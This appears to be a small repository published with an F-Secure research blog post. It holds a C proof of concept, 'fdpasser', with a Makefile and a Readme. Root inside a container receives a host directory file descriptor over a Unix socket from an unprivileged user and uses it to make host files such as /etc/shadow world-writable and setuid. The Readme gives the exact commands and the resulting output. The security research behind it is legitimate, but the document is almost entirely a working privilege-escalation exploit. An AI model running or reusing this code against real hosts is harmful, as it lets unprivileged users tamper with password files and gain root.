├── .gitignore ├── Makefile ├── Readme.md └── fdpasser.c /.gitignore: -------------------------------------------------------------------------------- 1 | fdpasser 2 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC ?= gcc 2 | fdpasser: fdpasser.c 3 | $(CC) $(CFLAGS) -o $@ $^ 4 | 5 | clean: 6 | rm fdpasser 7 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # What is this? 2 | Read the F-Secure Blog: https://labs.f-secure.com/blog/helping-root-out-of-the-container/ 3 | # Build 4 | ``` 5 | make 6 | ``` 7 | 8 | # Example 9 | ``` 10 | In container, as root: ./fdpasser recv /moo /etc/shadow 11 | Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo 12 | Outside container: ls -la /etc/shadow 13 | Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow 14 | ``` 15 | -------------------------------------------------------------------------------- /fdpasser.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | /* 11 | * Demo * 12 | sudo docker run -it -v $(pwd):/fd ubuntu 13 | ./fdpasser recv moo /root 14 | ./fdpasser send /proc/$(pidof sleep)/root/moo 15 | */ 16 | 17 | /* 18 | * recv_fd 19 | * Creates socket at path and waits for message with 20 | * file descriptor. Writes file descriptor into fd argument. 21 | * returns 0 on success 22 | */ 23 | int recv_fd(const char* path, int* fd) { 24 | int sockfd = socket(PF_UNIX, SOCK_DGRAM, 0); 25 | struct sockaddr_un addr; 26 | addr.sun_family = AF_LOCAL; 27 | strncpy(addr.sun_path, path, sizeof(addr.sun_path)); 28 | 29 | if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) { 30 | perror("bind"); 31 | return -1; 32 | } 33 | 34 | // Give everybody access to our socket 35 | if (-1 == chmod(path,S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IXGRP|S_IROTH|S_IWOTH|S_IXOTH)) { 36 | perror("(ignored error, chmod)"); 37 | } 38 | 39 | struct msghdr msg = {0}; 40 | char buf[CMSG_SPACE(sizeof(int))]; 41 | msg.msg_control = buf; 42 | msg.msg_controllen = sizeof(buf); 43 | 44 | if (-1 == recvmsg(sockfd, &msg,0)) { 45 | perror("recvmsg"); 46 | return -2; 47 | } 48 | 49 | close(sockfd); 50 | struct cmsghdr *header = CMSG_FIRSTHDR(&msg); 51 | *fd = *(int *)CMSG_DATA(header); 52 | return 0; 53 | } 54 | 55 | /* 56 | * send_fd 57 | * Connects to socket at path and writes file descriptor in fd argument 58 | * to the socket. 59 | * Returns 0 on success. 60 | */ 61 | int send_fd(const char* path, int fd) { 62 | int sockfd = socket(PF_UNIX, SOCK_DGRAM, 0); 63 | struct sockaddr_un addr; 64 | addr.sun_family = AF_LOCAL; 65 | strncpy(addr.sun_path, path, sizeof(addr.sun_path)); 66 | if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) { 67 | perror("connect"); 68 | return -1; 69 | } 70 | 71 | struct msghdr msg = {0}; 72 | char buf[CMSG_SPACE(sizeof(int))]; 73 | msg.msg_control = buf; 74 | msg.msg_controllen = sizeof(buf); 75 | struct cmsghdr *header = CMSG_FIRSTHDR(&msg); 76 | header->cmsg_level = SOL_SOCKET; 77 | header->cmsg_type = SCM_RIGHTS; 78 | header->cmsg_len = CMSG_LEN(sizeof(int)); 79 | *(int *)CMSG_DATA(header) = fd; 80 | int ret = sendmsg(sockfd, &msg, 0); 81 | close(sockfd); 82 | return ret; 83 | } 84 | 85 | int main(int argc, const char*argv[]) { 86 | int fd; 87 | if (argc ==4 && strcmp(argv[1], "recv") == 0) { 88 | int pid = fork(); 89 | if (pid == 0) { 90 | if (-1 == setresgid(1000,1000,1000)) { 91 | perror("setresgid"); 92 | } 93 | if (-1 == setresuid(1000,1000,1000)) { 94 | perror("setresuid"); 95 | } 96 | execl("/bin/sleep","sleep","1337",NULL); 97 | return 0; 98 | } 99 | if (recv_fd(argv[2], &fd) == -1) { 100 | perror("recv_fd:"); 101 | return -1; 102 | } 103 | const char *path = argv[3]; 104 | if (path[0] == '/') { 105 | path++; 106 | printf("Dropping intial / from %s\n", argv[3]); 107 | } 108 | if (-1 == fchmodat(fd, path, S_ISUID|S_ISGID|S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IXGRP|S_IROTH|S_IWOTH|S_IXOTH, 0)) { 109 | perror("fchmodat"); 110 | return -3; 111 | } 112 | kill(pid,SIGKILL); 113 | unlink(argv[2]); 114 | return 0; 115 | } else if (argc == 3 && strcmp(argv[1], "send") == 0) { 116 | fd = open("/", __O_PATH|O_RDWR); 117 | if (fd == -1) { 118 | perror("Open error: "); 119 | return -1; 120 | } 121 | if (send_fd(argv[2], fd) == -1) { 122 | perror("send_fd"); 123 | return -2; 124 | } 125 | return 0; 126 | } else { 127 | printf("Usage: %s [send socket_filename|recv socket_filename target_file]\n", argv[0]); 128 | printf("Run recv as privileged user\n"); 129 | printf("Example: ./fdpasser recv /moo /etc/passwd\n"); 130 | printf("Run send from unprivileged user\n"); 131 | printf("Example: ./fdpasser send /proc/$(pgrep -f 'sleep 1337')/root/moo\n"); 132 | return 1; 133 | } 134 | 135 | return 0; 136 | } 137 | --------------------------------------------------------------------------------